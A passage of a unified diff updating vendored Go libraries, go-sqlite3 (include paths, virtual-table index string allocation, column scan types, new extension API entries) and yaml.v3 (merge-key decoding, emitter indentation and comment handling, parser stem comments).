@@ -8,7 +8,7 @@ package sqlite3
 /*
 
 #ifndef USE_LIBSQLITE3
-#include <sqlite3-binding.h>
+#include "sqlite3-binding.h"
 #else
 #include <sqlite3.h>
 #endif

vendor/github.com/mattn/go-sqlite3/sqlite3_load_extension.go

@@ -9,7 +9,7 @@ package sqlite3
 
 /*
 #ifndef USE_LIBSQLITE3
-#include <sqlite3-binding.h>
+#include "sqlite3-binding.h"
 #else
 #include <sqlite3.h>
 #endif

vendor/github.com/mattn/go-sqlite3/sqlite3_opt_preupdate_hook.go

@@ -13,7 +13,7 @@ package sqlite3
 #cgo LDFLAGS: -lm
 
 #ifndef USE_LIBSQLITE3
-#include <sqlite3-binding.h>
+#include "sqlite3-binding.h"
 #else
 #include <sqlite3.h>
 #endif

vendor/github.com/mattn/go-sqlite3/sqlite3_opt_unlock_notify.c

@@ -5,7 +5,7 @@
 
 #ifdef SQLITE_ENABLE_UNLOCK_NOTIFY
 #include <stdio.h>
-#include <sqlite3-binding.h>
+#include "sqlite3-binding.h"
 
 extern int unlock_notify_wait(sqlite3 *db);
 

vendor/github.com/mattn/go-sqlite3/sqlite3_opt_unlock_notify.go

@@ -12,7 +12,7 @@ package sqlite3
 #cgo CFLAGS: -DSQLITE_ENABLE_UNLOCK_NOTIFY
 
 #include <stdlib.h>
-#include <sqlite3-binding.h>
+#include "sqlite3-binding.h"
 
 extern void unlock_notify_callback(void *arg, int argc);
 */

vendor/github.com/mattn/go-sqlite3/sqlite3_opt_userauth.go

@@ -11,7 +11,7 @@ package sqlite3
 #cgo CFLAGS: -DSQLITE_USER_AUTHENTICATION
 #cgo LDFLAGS: -lm
 #ifndef USE_LIBSQLITE3
-#include <sqlite3-binding.h>
+#include "sqlite3-binding.h"
 #else
 #include <sqlite3.h>
 #endif

vendor/github.com/mattn/go-sqlite3/sqlite3_opt_vtable.go

@@ -19,7 +19,7 @@ package sqlite3
 #cgo CFLAGS: -Wno-deprecated-declarations
 
 #ifndef USE_LIBSQLITE3
-#include <sqlite3-binding.h>
+#include "sqlite3-binding.h"
 #else
 #include <sqlite3.h>
 #endif
@@ -472,10 +472,21 @@ func goVBestIndex(pVTab unsafe.Pointer, icp unsafe.Pointer) *C.char {
 	}
 
 	info.idxNum = C.int(res.IdxNum)
-	idxStr := C.CString(res.IdxStr)
-	defer C.free(unsafe.Pointer(idxStr))
-	info.idxStr = idxStr
-	info.needToFreeIdxStr = C.int(0)
+	info.idxStr = (*C.char)(C.sqlite3_malloc(C.int(len(res.IdxStr) + 1)))
+	if info.idxStr == nil {
+		// C.malloc and C.CString ordinarily do this for you. See https://golang.org/cmd/cgo/
+		panic("out of memory")
+	}
+	info.needToFreeIdxStr = C.int(1)
+
+	idxStr := *(*[]byte)(unsafe.Pointer(&reflect.SliceHeader{
+		Data: uintptr(unsafe.Pointer(info.idxStr)),
+		Len:  len(res.IdxStr) + 1,
+		Cap:  len(res.IdxStr) + 1,
+	}))
+	copy(idxStr, res.IdxStr)
+	idxStr[len(idxStr)-1] = 0 // null-terminated string
+
 	if res.AlreadyOrdered {
 		info.orderByConsumed = C.int(1)
 	}

vendor/github.com/mattn/go-sqlite3/sqlite3_trace.go

@@ -9,7 +9,7 @@ package sqlite3
 
 /*
 #ifndef USE_LIBSQLITE3
-#include <sqlite3-binding.h>
+#include "sqlite3-binding.h"
 #else
 #include <sqlite3.h>
 #endif

vendor/github.com/mattn/go-sqlite3/sqlite3_type.go

@@ -1,5 +1,4 @@
 // Copyright (C) 2019 Yasuhiro Matsumoto <[email protected]>.
-//
 // Use of this source code is governed by an MIT-style
 // license that can be found in the LICENSE file.
 
@@ -7,15 +6,16 @@ package sqlite3
 
 /*
 #ifndef USE_LIBSQLITE3
-#include <sqlite3-binding.h>
+#include "sqlite3-binding.h"
 #else
 #include <sqlite3.h>
 #endif
 */
 import "C"
 import (
+	"database/sql"
 	"reflect"
-	"time"
+	"strings"
 )
 
 // ColumnTypeDatabaseTypeName implement RowsColumnTypeDatabaseTypeName.
@@ -31,32 +31,78 @@ func (rc *SQLiteRows) ColumnTypeLength(index int) (length int64, ok bool) {
 func (rc *SQLiteRows) ColumnTypePrecisionScale(index int) (precision, scale int64, ok bool) {
 	return 0, 0, false
 }
+*/
 
 // ColumnTypeNullable implement RowsColumnTypeNullable.
 func (rc *SQLiteRows) ColumnTypeNullable(i int) (nullable, ok bool) {
-	return false, false
+	return true, true
 }
-*/
 
 // ColumnTypeScanType implement RowsColumnTypeScanType.
 func (rc *SQLiteRows) ColumnTypeScanType(i int) reflect.Type {
-	switch C.sqlite3_column_type(rc.s.s, C.int(i)) {
-	case C.SQLITE_INTEGER:
-		switch C.GoString(C.sqlite3_column_decltype(rc.s.s, C.int(i))) {
-		case "timestamp", "datetime", "date":
-			return reflect.TypeOf(time.Time{})
-		case "boolean":
-			return reflect.TypeOf(false)
-		}
-		return reflect.TypeOf(int64(0))
-	case C.SQLITE_FLOAT:
-		return reflect.TypeOf(float64(0))
-	case C.SQLITE_BLOB:
-		return reflect.SliceOf(reflect.TypeOf(byte(0)))
-	case C.SQLITE_NULL:
-		return reflect.TypeOf(nil)
-	case C.SQLITE_TEXT:
-		return reflect.TypeOf("")
-	}
-	return reflect.SliceOf(reflect.TypeOf(byte(0)))
+	//ct := C.sqlite3_column_type(rc.s.s, C.int(i))  // Always returns 5
+	return scanType(C.GoString(C.sqlite3_column_decltype(rc.s.s, C.int(i))))
+}
+
+const (
+	SQLITE_INTEGER = iota
+	SQLITE_TEXT
+	SQLITE_BLOB
+	SQLITE_REAL
+	SQLITE_NUMERIC
+	SQLITE_TIME
+	SQLITE_BOOL
+	SQLITE_NULL
+)
+
+func scanType(cdt string) reflect.Type {
+	t := strings.ToUpper(cdt)
+	i := databaseTypeConvSqlite(t)
+	switch i {
+	case SQLITE_INTEGER:
+		return reflect.TypeOf(sql.NullInt64{})
+	case SQLITE_TEXT:
+		return reflect.TypeOf(sql.NullString{})
+	case SQLITE_BLOB:
+		return reflect.TypeOf(sql.RawBytes{})
+	case SQLITE_REAL:
+		return reflect.TypeOf(sql.NullFloat64{})
+	case SQLITE_NUMERIC:
+		return reflect.TypeOf(sql.NullFloat64{})
+	case SQLITE_BOOL:
+		return reflect.TypeOf(sql.NullBool{})
+	case SQLITE_TIME:
+		return reflect.TypeOf(sql.NullTime{})
+	}
+	return reflect.TypeOf(new(interface{}))
+}
+
+func databaseTypeConvSqlite(t string) int {
+	if strings.Contains(t, "INT") {
+		return SQLITE_INTEGER
+	}
+	if t == "CLOB" || t == "TEXT" ||
+		strings.Contains(t, "CHAR") {
+		return SQLITE_TEXT
+	}
+	if t == "BLOB" {
+		return SQLITE_BLOB
+	}
+	if t == "REAL" || t == "FLOAT" ||
+		strings.Contains(t, "DOUBLE") {
+		return SQLITE_REAL
+	}
+	if t == "DATE" || t == "DATETIME" ||
+		t == "TIMESTAMP" {
+		return SQLITE_TIME
+	}
+	if t == "NUMERIC" ||
+		strings.Contains(t, "DECIMAL") {
+		return SQLITE_NUMERIC
+	}
+	if t == "BOOLEAN" {
+		return SQLITE_BOOL
+	}
+
+	return SQLITE_NULL
 }

vendor/github.com/mattn/go-sqlite3/sqlite3ext.h

@@ -342,6 +342,20 @@ struct sqlite3_api_routines {
   sqlite3_file *(*database_file_object)(const char*);
   /* Version 3.34.0 and later */
   int (*txn_state)(sqlite3*,const char*);
+  /* Version 3.36.1 and later */
+  sqlite3_int64 (*changes64)(sqlite3*);
+  sqlite3_int64 (*total_changes64)(sqlite3*);
+  /* Version 3.37.0 and later */
+  int (*autovacuum_pages)(sqlite3*,
+     unsigned int(*)(void*,const char*,unsigned int,unsigned int,unsigned int),
+     void*, void(*)(void*));
+  /* Version 3.38.0 and later */
+  int (*error_offset)(sqlite3*);
+  int (*vtab_rhs_value)(sqlite3_index_info*,int,sqlite3_value**);
+  int (*vtab_distinct)(sqlite3_index_info*);
+  int (*vtab_in)(sqlite3_index_info*,int,int);
+  int (*vtab_in_first)(sqlite3_value*,sqlite3_value**);
+  int (*vtab_in_next)(sqlite3_value*,sqlite3_value**);
 };
 
 /*
@@ -648,6 +662,18 @@ typedef int (*sqlite3_loadext_entry)(
 #define sqlite3_database_file_object   sqlite3_api->database_file_object
 /* Version 3.34.0 and later */
 #define sqlite3_txn_state              sqlite3_api->txn_state
+/* Version 3.36.1 and later */
+#define sqlite3_changes64              sqlite3_api->changes64
+#define sqlite3_total_changes64        sqlite3_api->total_changes64
+/* Version 3.37.0 and later */
+#define sqlite3_autovacuum_pages       sqlite3_api->autovacuum_pages
+/* Version 3.38.0 and later */
+#define sqlite3_error_offset           sqlite3_api->error_offset
+#define sqlite3_vtab_rhs_value         sqlite3_api->vtab_rhs_value
+#define sqlite3_vtab_distinct          sqlite3_api->vtab_distinct
+#define sqlite3_vtab_in                sqlite3_api->vtab_in
+#define sqlite3_vtab_in_first          sqlite3_api->vtab_in_first
+#define sqlite3_vtab_in_next           sqlite3_api->vtab_in_next
 #endif /* !defined(SQLITE_CORE) && !defined(SQLITE_OMIT_LOAD_EXTENSION) */
 
 #if !defined(SQLITE_CORE) && !defined(SQLITE_OMIT_LOAD_EXTENSION)

vendor/gopkg.in/yaml.v3/.travis.yml

@@ -1,16 +0,0 @@
-language: go
-
-go:
-    - "1.4.x"
-    - "1.5.x"
-    - "1.6.x"
-    - "1.7.x"
-    - "1.8.x"
-    - "1.9.x"
-    - "1.10.x"
-    - "1.11.x"
-    - "1.12.x"
-    - "1.13.x"
-    - "tip"
-
-go_import_path: gopkg.in/yaml.v3

vendor/gopkg.in/yaml.v3/apic.go

@@ -108,6 +108,7 @@ func yaml_emitter_initialize(emitter *yaml_emitter_t) {
 		raw_buffer: make([]byte, 0, output_raw_buffer_size),
 		states:     make([]yaml_emitter_state_t, 0, initial_stack_size),
 		events:     make([]yaml_event_t, 0, initial_queue_size),
+		best_width: -1,
 	}
 }
 

vendor/gopkg.in/yaml.v3/decode.go

@@ -35,6 +35,7 @@ type parser struct {
 	doc      *Node
 	anchors  map[string]*Node
 	doneInit bool
+	textless bool
 }
 
 func newParser(b []byte) *parser {
@@ -99,7 +100,10 @@ func (p *parser) peek() yaml_event_type_t {
 	if p.event.typ != yaml_NO_EVENT {
 		return p.event.typ
 	}
-	if !yaml_parser_parse(&p.parser, &p.event) {
+	// It's curious choice from the underlying API to generally return a
+	// positive result on success, but on this case return true in an error
+	// scenario. This was the source of bugs in the past (issue #666).
+	if !yaml_parser_parse(&p.parser, &p.event) || p.parser.error != yaml_NO_ERROR {
 		p.fail()
 	}
 	return p.event.typ
@@ -108,14 +112,18 @@ func (p *parser) peek() yaml_event_type_t {
 func (p *parser) fail() {
 	var where string
 	var line int
-	if p.parser.problem_mark.line != 0 {
+	if p.parser.context_mark.line != 0 {
+		line = p.parser.context_mark.line
+		// Scanner errors don't iterate line before returning error
+		if p.parser.error == yaml_SCANNER_ERROR {
+			line++
+		}
+	} else if p.parser.problem_mark.line != 0 {
 		line = p.parser.problem_mark.line
 		// Scanner errors don't iterate line before returning error
 		if p.parser.error == yaml_SCANNER_ERROR {
 			line++
 		}
-	} else if p.parser.context_mark.line != 0 {
-		line = p.parser.context_mark.line
 	}
 	if line != 0 {
 		where = "line " + strconv.Itoa(line) + ": "
@@ -169,17 +177,20 @@ func (p *parser) node(kind Kind, defaultTag, tag, value string) *Node {
 	} else if kind == ScalarNode {
 		tag, _ = resolve("", value)
 	}
-	return &Node{
-		Kind:        kind,
-		Tag:         tag,
-		Value:       value,
-		Style:       style,
-		Line:        p.event.start_mark.line + 1,
-		Column:      p.event.start_mark.column + 1,
-		HeadComment: string(p.event.head_comment),
-		LineComment: string(p.event.line_comment),
-		FootComment: string(p.event.foot_comment),
+	n := &Node{
+		Kind:  kind,
+		Tag:   tag,
+		Value: value,
+		Style: style,
 	}
+	if !p.textless {
+		n.Line = p.event.start_mark.line + 1
+		n.Column = p.event.start_mark.column + 1
+		n.HeadComment = string(p.event.head_comment)
+		n.LineComment = string(p.event.line_comment)
+		n.FootComment = string(p.event.foot_comment)
+	}
+	return n
 }
 
 func (p *parser) parseChild(parent *Node) *Node {
@@ -312,6 +323,8 @@ type decoder struct {
 	decodeCount int
 	aliasCount  int
 	aliasDepth  int
+
+	mergedFields map[interface{}]bool
 }
 
 var (
@@ -497,8 +510,13 @@ func (d *decoder) unmarshal(n *Node, out reflect.Value) (good bool) {
 		good = d.mapping(n, out)
 	case SequenceNode:
 		good = d.sequence(n, out)
+	case 0:
+		if n.IsZero() {
+			return d.null(out)
+		}
+		fallthrough
 	default:
-		panic("internal error: unknown node kind: " + strconv.Itoa(int(n.Kind)))
+		failf("cannot decode node with unknown kind %d", n.Kind)
 	}
 	return good
 }
@@ -533,6 +551,17 @@ func resetMap(out reflect.Value) {
 	}
 }
 
+func (d *decoder) null(out reflect.Value) bool {
+	if out.CanAddr() {
+		switch out.Kind() {
+		case reflect.Interface, reflect.Ptr, reflect.Map, reflect.Slice:
+			out.Set(reflect.Zero(out.Type()))
+			return true
+		}
+	}
+	return false
+}
+
 func (d *decoder) scalar(n *Node, out reflect.Value) bool {
 	var tag string
 	var resolved interface{}
@@ -550,14 +579,7 @@ func (d *decoder) scalar(n *Node, out reflect.Value) bool {
 		}
 	}
 	if resolved == nil {
-		if out.CanAddr() {
-			switch out.Kind() {
-			case reflect.Interface, reflect.Ptr, reflect.Map, reflect.Slice:
-				out.Set(reflect.Zero(out.Type()))
-				return true
-			}
-		}
-		return false
+		return d.null(out)
 	}
 	if resolvedv := reflect.ValueOf(resolved); out.Type() == resolvedv.Type() {
 		// We've resolved to exactly the type we want, so use that.
@@ -791,16 +813,30 @@ func (d *decoder) mapping(n *Node, out reflect.Value) (good bool) {
 		}
 	}
 
+	mergedFields := d.mergedFields
+	d.mergedFields = nil
+
+	var mergeNode *Node
+
+	mapIsNew := false
 	if out.IsNil() {
 		out.Set(reflect.MakeMap(outt))
+		mapIsNew = true
 	}
 	for i := 0; i < l; i += 2 {
 		if isMerge(n.Content[i]) {
-			d.merge(n.Content[i+1], out)
+			mergeNode = n.Content[i+1]
 			continue
 		}
 		k := reflect.New(kt).Elem()
 		if d.unmarshal(n.Content[i], k) {
+			if mergedFields != nil {
+				ki := k.Interface()
+				if mergedFields[ki] {
+					continue
+				}
+				mergedFields[ki] = true
+			}
 			kkind := k.Kind()
 			if kkind == reflect.Interface {
 				kkind = k.Elem().Kind()
@@ -809,11 +845,17 @@ func (d *decoder) mapping(n *Node, out reflect.Value) (good bool) {
 				failf("invalid map key: %#v", k.Interface())
 			}
 			e := reflect.New(et).Elem()
-			if d.unmarshal(n.Content[i+1], e) {
+			if d.unmarshal(n.Content[i+1], e) || n.Content[i+1].ShortTag() == nullTag && (mapIsNew || !out.MapIndex(k).IsValid()) {
 				out.SetMapIndex(k, e)
 			}
 		}
 	}
+
+	d.mergedFields = mergedFields
+	if mergeNode != nil {
+		d.merge(n, mergeNode, out)
+	}
+
 	d.stringMapType = stringMapType
 	d.generalMapType = generalMapType
 	return true
@@ -825,7 +867,8 @@ func isStringMap(n *Node) bool {
 	}
 	l := len(n.Content)
 	for i := 0; i < l; i += 2 {
-		if n.Content[i].ShortTag() != strTag {
+		shortTag := n.Content[i].ShortTag()
+		if shortTag != strTag && shortTag != mergeTag {
 			return false
 		}
 	}
@@ -842,7 +885,6 @@ func (d *decoder) mappingStruct(n *Node, out reflect.Value) (good bool) {
 	var elemType reflect.Type
 	if sinfo.InlineMap != -1 {
 		inlineMap = out.Field(sinfo.InlineMap)
-		inlineMap.Set(reflect.New(inlineMap.Type()).Elem())
 		elemType = inlineMap.Type().Elem()
 	}
 
@@ -851,6 +893,9 @@ func (d *decoder) mappingStruct(n *Node, out reflect.Value) (good bool) {
 		d.prepare(n, field)
 	}
 
+	mergedFields := d.mergedFields
+	d.mergedFields = nil
+	var mergeNode *Node
 	var doneFields []bool
 	if d.uniqueKeys {
 		doneFields = make([]bool, len(sinfo.FieldsList))
@@ -860,13 +905,20 @@ func (d *decoder) mappingStruct(n *Node, out reflect.Value) (good bool) {
 	for i := 0; i < l; i += 2 {
 		ni := n.Content[i]
 		if isMerge(ni) {
-			d.merge(n.Content[i+1], out)
+			mergeNode = n.Content[i+1]
 			continue
 		}
 		if !d.unmarshal(ni, name) {
 			continue
 		}
-		if info, ok := sinfo.FieldsMap[name.String()]; ok {
+		sname := name.String()
+		if mergedFields != nil {
+			if mergedFields[sname] {
+				continue
+			}
+			mergedFields[sname] = true
+		}
+		if info, ok := sinfo.FieldsMap[sname]; ok {
 			if d.uniqueKeys {
 				if doneFields[info.Id] {
 					d.terrors = append(d.terrors, fmt.Sprintf("line %d: field %s already set in type %s", ni.Line, name.String(), out.Type()))
@@ -892,6 +944,11 @@ func (d *decoder) mappingStruct(n *Node, out reflect.Value) (good bool) {
 			d.terrors = append(d.terrors, fmt.Sprintf("line %d: field %s not found in type %s", ni.Line, name.String(), out.Type()))
 		}
 	}
+
+	d.mergedFields = mergedFields
+	if mergeNode != nil {
+		d.merge(n, mergeNode, out)
+	}
 	return true
 }
 
@@ -899,19 +956,29 @@ func failWantMap() {
 	failf("map merge requires map or sequence of maps as the value")
 }
 
-func (d *decoder) merge(n *Node, out reflect.Value) {
-	switch n.Kind {
+func (d *decoder) merge(parent *Node, merge *Node, out reflect.Value) {
+	mergedFields := d.mergedFields
+	if mergedFields == nil {
+		d.mergedFields = make(map[interface{}]bool)
+		for i := 0; i < len(parent.Content); i += 2 {
+			k := reflect.New(ifaceType).Elem()
+			if d.unmarshal(parent.Content[i], k) {
+				d.mergedFields[k.Interface()] = true
+			}
+		}
+	}
+
+	switch merge.Kind {
 	case MappingNode:
-		d.unmarshal(n, out)
+		d.unmarshal(merge, out)
 	case AliasNode:
-		if n.Alias != nil && n.Alias.Kind != MappingNode {
+		if merge.Alias != nil && merge.Alias.Kind != MappingNode {
 			failWantMap()
 		}
-		d.unmarshal(n, out)
+		d.unmarshal(merge, out)
 	case SequenceNode:
-		// Step backwards as earlier nodes take precedence.
-		for i := len(n.Content) - 1; i >= 0; i-- {
-			ni := n.Content[i]
+		for i := 0; i < len(merge.Content); i++ {
+			ni := merge.Content[i]
 			if ni.Kind == AliasNode {
 				if ni.Alias != nil && ni.Alias.Kind != MappingNode {
 					failWantMap()
@@ -924,6 +991,8 @@ func (d *decoder) merge(n *Node, out reflect.Value) {
 	default:
 		failWantMap()
 	}
+
+	d.mergedFields = mergedFields
 }
 
 func isMerge(n *Node) bool {

vendor/gopkg.in/yaml.v3/emitterc.go

@@ -235,10 +235,13 @@ func yaml_emitter_increase_indent(emitter *yaml_emitter_t, flow, indentless bool
 			emitter.indent = 0
 		}
 	} else if !indentless {
-		emitter.indent += emitter.best_indent
-		// [Go] If inside a block sequence item, discount the space taken by the indicator.
-		if emitter.best_indent > 2 && emitter.states[len(emitter.states)-1] == yaml_EMIT_BLOCK_SEQUENCE_ITEM_STATE {
-			emitter.indent -= 2
+		// [Go] This was changed so that indentations are more regular.
+		if emitter.states[len(emitter.states)-1] == yaml_EMIT_BLOCK_SEQUENCE_ITEM_STATE {
+			// The first indent inside a sequence will just skip the "- " indicator.
+			emitter.indent += 2
+		} else {
+			// Everything else aligns to the chosen indentation.
+			emitter.indent = emitter.best_indent*((emitter.indent+emitter.best_indent)/emitter.best_indent)
 		}
 	}
 	return true
@@ -725,16 +728,9 @@ func yaml_emitter_emit_flow_mapping_value(emitter *yaml_emitter_t, event *yaml_e
 // Expect a block item node.
 func yaml_emitter_emit_block_sequence_item(emitter *yaml_emitter_t, event *yaml_event_t, first bool) bool {
 	if first {
-		// [Go] The original logic here would not indent the sequence when inside a mapping.
-		// In Go we always indent it, but take the sequence indicator out of the indentation.
-		indentless := emitter.best_indent == 2 && emitter.mapping_context && (emitter.column == 0 || !emitter.indention)
-		original := emitter.indent
-		if !yaml_emitter_increase_indent(emitter, false, indentless) {
+		if !yaml_emitter_increase_indent(emitter, false, false) {
 			return false
 		}
-		if emitter.indent > original+2 {
-			emitter.indent -= 2
-		}
 	}
 	if event.typ == yaml_SEQUENCE_END_EVENT {
 		emitter.indent = emitter.indents[len(emitter.indents)-1]
@@ -785,6 +781,13 @@ func yaml_emitter_emit_block_mapping_key(emitter *yaml_emitter_t, event *yaml_ev
 	if !yaml_emitter_write_indent(emitter) {
 		return false
 	}
+	if len(emitter.line_comment) > 0 {
+		// [Go] A line comment was provided for the key. That's unusual as the
+		//      scanner associates line comments with the value. Either way,
+		//      save the line comment and render it appropriately later.
+		emitter.key_line_comment = emitter.line_comment
+		emitter.line_comment = nil
+	}
 	if yaml_emitter_check_simple_key(emitter) {
 		emitter.states = append(emitter.states, yaml_EMIT_BLOCK_MAPPING_SIMPLE_VALUE_STATE)
 		return yaml_emitter_emit_node(emitter, event, false, false, true, true)
@@ -810,6 +813,27 @@ func yaml_emitter_emit_block_mapping_value(emitter *yaml_emitter_t, event *yaml_
 			return false
 		}
 	}
+	if len(emitter.key_line_comment) > 0 {
+		// [Go] Line comments are generally associated with the value, but when there's
+		//      no value on the same line as a mapping key they end up attached to the
+		//      key itself.
+		if event.typ == yaml_SCALAR_EVENT {
+			if len(emitter.line_comment) == 0 {
+				// A scalar is coming and it has no line comments by itself yet,
+				// so just let it handle the line comment as usual. If it has a
+				// line comment, we can't have both so the one from the key is lost.
+				emitter.line_comment = emitter.key_line_comment
+				emitter.key_line_comment = nil
+			}
+		} else if event.sequence_style() != yaml_FLOW_SEQUENCE_STYLE && (event.typ == yaml_MAPPING_START_EVENT || event.typ == yaml_SEQUENCE_START_EVENT) {
+			// An indented block follows, so write the comment right now.
+			emitter.line_comment, emitter.key_line_comment = emitter.key_line_comment, emitter.line_comment
+			if !yaml_emitter_process_line_comment(emitter) {
+				return false
+			}
+			emitter.line_comment, emitter.key_line_comment = emitter.key_line_comment, emitter.line_comment
+		}
+	}
 	emitter.states = append(emitter.states, yaml_EMIT_BLOCK_MAPPING_KEY_STATE)
 	if !yaml_emitter_emit_node(emitter, event, false, false, true, false) {
 		return false
@@ -823,6 +847,10 @@ func yaml_emitter_emit_block_mapping_value(emitter *yaml_emitter_t, event *yaml_
 	return true
 }
 
+func yaml_emitter_silent_nil_event(emitter *yaml_emitter_t, event *yaml_event_t) bool {
+	return event.typ == yaml_SCALAR_EVENT && event.implicit && !emitter.canonical && len(emitter.scalar_data.value) == 0
+}
+
 // Expect a node.
 func yaml_emitter_emit_node(emitter *yaml_emitter_t, event *yaml_event_t,
 	root bool, sequence bool, mapping bool, simple_key bool) bool {
@@ -1866,7 +1894,7 @@ func yaml_emitter_write_literal_scalar(emitter *yaml_emitter_t, value []byte) bo
 	if !yaml_emitter_write_block_scalar_hints(emitter, value) {
 		return false
 	}
-	if !put_break(emitter) {
+	if !yaml_emitter_process_line_comment(emitter) {
 		return false
 	}
 	//emitter.indention = true
@@ -1903,10 +1931,10 @@ func yaml_emitter_write_folded_scalar(emitter *yaml_emitter_t, value []byte) boo
 	if !yaml_emitter_write_block_scalar_hints(emitter, value) {
 		return false
 	}
-
-	if !put_break(emitter) {
+	if !yaml_emitter_process_line_comment(emitter) {
 		return false
 	}
+
 	//emitter.indention = true
 	emitter.whitespace = true
 

vendor/gopkg.in/yaml.v3/encode.go

@@ -119,6 +119,14 @@ func (e *encoder) marshal(tag string, in reflect.Value) {
 	case *Node:
 		e.nodev(in)
 		return
+	case Node:
+		if !in.CanAddr() {
+			var n = reflect.New(in.Type()).Elem()
+			n.Set(in)
+			in = n
+		}
+		e.nodev(in.Addr())
+		return
 	case time.Time:
 		e.timev(tag, in)
 		return
@@ -422,18 +430,23 @@ func (e *encoder) nodev(in reflect.Value) {
 }
 
 func (e *encoder) node(node *Node, tail string) {
+	// Zero nodes behave as nil.
+	if node.Kind == 0 && node.IsZero() {
+		e.nilv()
+		return
+	}
+
 	// If the tag was not explicitly requested, and dropping it won't change the
 	// implicit tag of the value, don't include it in the presentation.
 	var tag = node.Tag
 	var stag = shortTag(tag)
-	var rtag string
 	var forceQuoting bool
 	if tag != "" && node.Style&TaggedStyle == 0 {
 		if node.Kind == ScalarNode {
 			if stag == strTag && node.Style&(SingleQuotedStyle|DoubleQuotedStyle|LiteralStyle|FoldedStyle) != 0 {
 				tag = ""
 			} else {
-				rtag, _ = resolve("", node.Value)
+				rtag, _ := resolve("", node.Value)
 				if rtag == stag {
 					tag = ""
 				} else if stag == strTag {
@@ -442,6 +455,7 @@ func (e *encoder) node(node *Node, tail string) {
 				}
 			}
 		} else {
+			var rtag string
 			switch node.Kind {
 			case MappingNode:
 				rtag = mapTag
@@ -471,7 +485,7 @@ func (e *encoder) node(node *Node, tail string) {
 		if node.Style&FlowStyle != 0 {
 			style = yaml_FLOW_SEQUENCE_STYLE
 		}
-		e.must(yaml_sequence_start_event_initialize(&e.event, []byte(node.Anchor), []byte(tag), tag == "", style))
+		e.must(yaml_sequence_start_event_initialize(&e.event, []byte(node.Anchor), []byte(longTag(tag)), tag == "", style))
 		e.event.head_comment = []byte(node.HeadComment)
 		e.emit()
 		for _, node := range node.Content {
@@ -487,7 +501,7 @@ func (e *encoder) node(node *Node, tail string) {
 		if node.Style&FlowStyle != 0 {
 			style = yaml_FLOW_MAPPING_STYLE
 		}
-		yaml_mapping_start_event_initialize(&e.event, []byte(node.Anchor), []byte(tag), tag == "", style)
+		yaml_mapping_start_event_initialize(&e.event, []byte(node.Anchor), []byte(longTag(tag)), tag == "", style)
 		e.event.tail_comment = []byte(tail)
 		e.event.head_comment = []byte(node.HeadComment)
 		e.emit()
@@ -528,11 +542,11 @@ func (e *encoder) node(node *Node, tail string) {
 	case ScalarNode:
 		value := node.Value
 		if !utf8.ValidString(value) {
-			if tag == binaryTag {
+			if stag == binaryTag {
 				failf("explicitly tagged !!binary data must be base64-encoded")
 			}
-			if tag != "" {
-				failf("cannot marshal invalid UTF-8 data as %s", shortTag(tag))
+			if stag != "" {
+				failf("cannot marshal invalid UTF-8 data as %s", stag)
 			}
 			// It can't be encoded directly as YAML so use a binary tag
 			// and encode it as base64.
@@ -557,5 +571,7 @@ func (e *encoder) node(node *Node, tail string) {
 		}
 
 		e.emitScalar(value, node.Anchor, tag, style, []byte(node.HeadComment), []byte(node.LineComment), []byte(node.FootComment), []byte(tail))
+	default:
+		failf("cannot encode node with unknown kind %d", node.Kind)
 	}
 }

vendor/gopkg.in/yaml.v3/parserc.go

@@ -648,6 +648,10 @@ func yaml_parser_parse_node(parser *yaml_parser_t, event *yaml_event_t, block, i
 			implicit:   implicit,
 			style:      yaml_style_t(yaml_BLOCK_MAPPING_STYLE),
 		}
+		if parser.stem_comment != nil {
+			event.head_comment = parser.stem_comment
+			parser.stem_comment = nil
+		}
 		return true
 	}
 	if len(anchor) > 0 || len(tag) > 0 {
@@ -694,25 +698,13 @@ func yaml_parser_parse_block_sequence_entry(parser *yaml_parser_t, event *yaml_e
 
 	if token.typ == yaml_BLOCK_ENTRY_TOKEN {
 		mark := token.end_mark
-		prior_head := len(parser.head_comment)
+		prior_head_len := len(parser.head_comment)
 		skip_token(parser)
+		yaml_parser_split_stem_comment(parser, prior_head_len)
 		token = peek_token(parser)
 		if token == nil {
 			return false
 		}
-		if prior_head > 0 && token.typ == yaml_BLOCK_SEQUENCE_START_TOKEN {
-			// [Go] It's a sequence under a sequence entry, so the former head comment
-			//      is for the list itself, not the first list item under it.
-			parser.stem_comment = parser.head_comment[:prior_head]
-			if len(parser.head_comment) == prior_head {
-				parser.head_comment = nil
-			} else {
-				// Copy suffix to prevent very strange bugs if someone ever appends
-				// further bytes to the prefix in the stem_comment slice above.
-				parser.head_comment = append([]byte(nil), parser.head_comment[prior_head+1:]...)
-			}
-
-		}
 		if token.typ != yaml_BLOCK_ENTRY_TOKEN && token.typ != yaml_BLOCK_END_TOKEN {
 			parser.states = append(parser.states, yaml_PARSE_BLOCK_SEQUENCE_ENTRY_STATE)
 			return yaml_parser_parse_node(parser, event, true, false)
@@ -754,7 +746,9 @@ func yaml_parser_parse_indentless_sequence_entry(parser *yaml_parser_t, event *y
 
 	if token.typ == yaml_BLOCK_ENTRY_TOKEN {
 		mark := token.end_mark
+		prior_head_len := len(parser.head_comment)
 		skip_token(parser)
+		yaml_parser_split_stem_comment(parser, prior_head_len)
 		token = peek_token(parser)
 		if token == nil {
 			return false
@@ -780,6 +774,32 @@ func yaml_parser_parse_indentless_sequence_entry(parser *yaml_parser_t, event *y
 	return true
 }
 
+// Split stem comment from head comment.
+//
+// When a sequence or map is found under a sequence entry, the former head comment
+// is assigned to the underlying sequence or map as a whole, not the individual
+// sequence or map entry as would be expected otherwise. To handle this case the
+// previous head comment is moved aside as the stem comment.
+func yaml_parser_split_stem_comment(parser *yaml_parser_t, stem_len int) {
+	if stem_len == 0 {
+		return
+	}
+
+	token := peek_token(parser)
+	if token.typ != yaml_BLOCK_SEQUENCE_START_TOKEN && token.typ != yaml_BLOCK_MAPPING_START_TOKEN {
+		return
+	}
+
+	parser.stem_comment = parser.head_comment[:stem_len]
+	if len(parser.head_comment) == stem_len {
+		parser.head_comment = nil
+	} else {
+		// Copy suffix to prevent very strange bugs if someone ever appends
+		// further bytes to the prefix in the stem_comment slice above.
+		parser.head_comment = append([]byte(nil), parser.head_comment[stem_len+1:]...)
+	}
+}
+
 // Parse the productions:
 // block_mapping        ::= BLOCK-MAPPING_START
 //                          *******************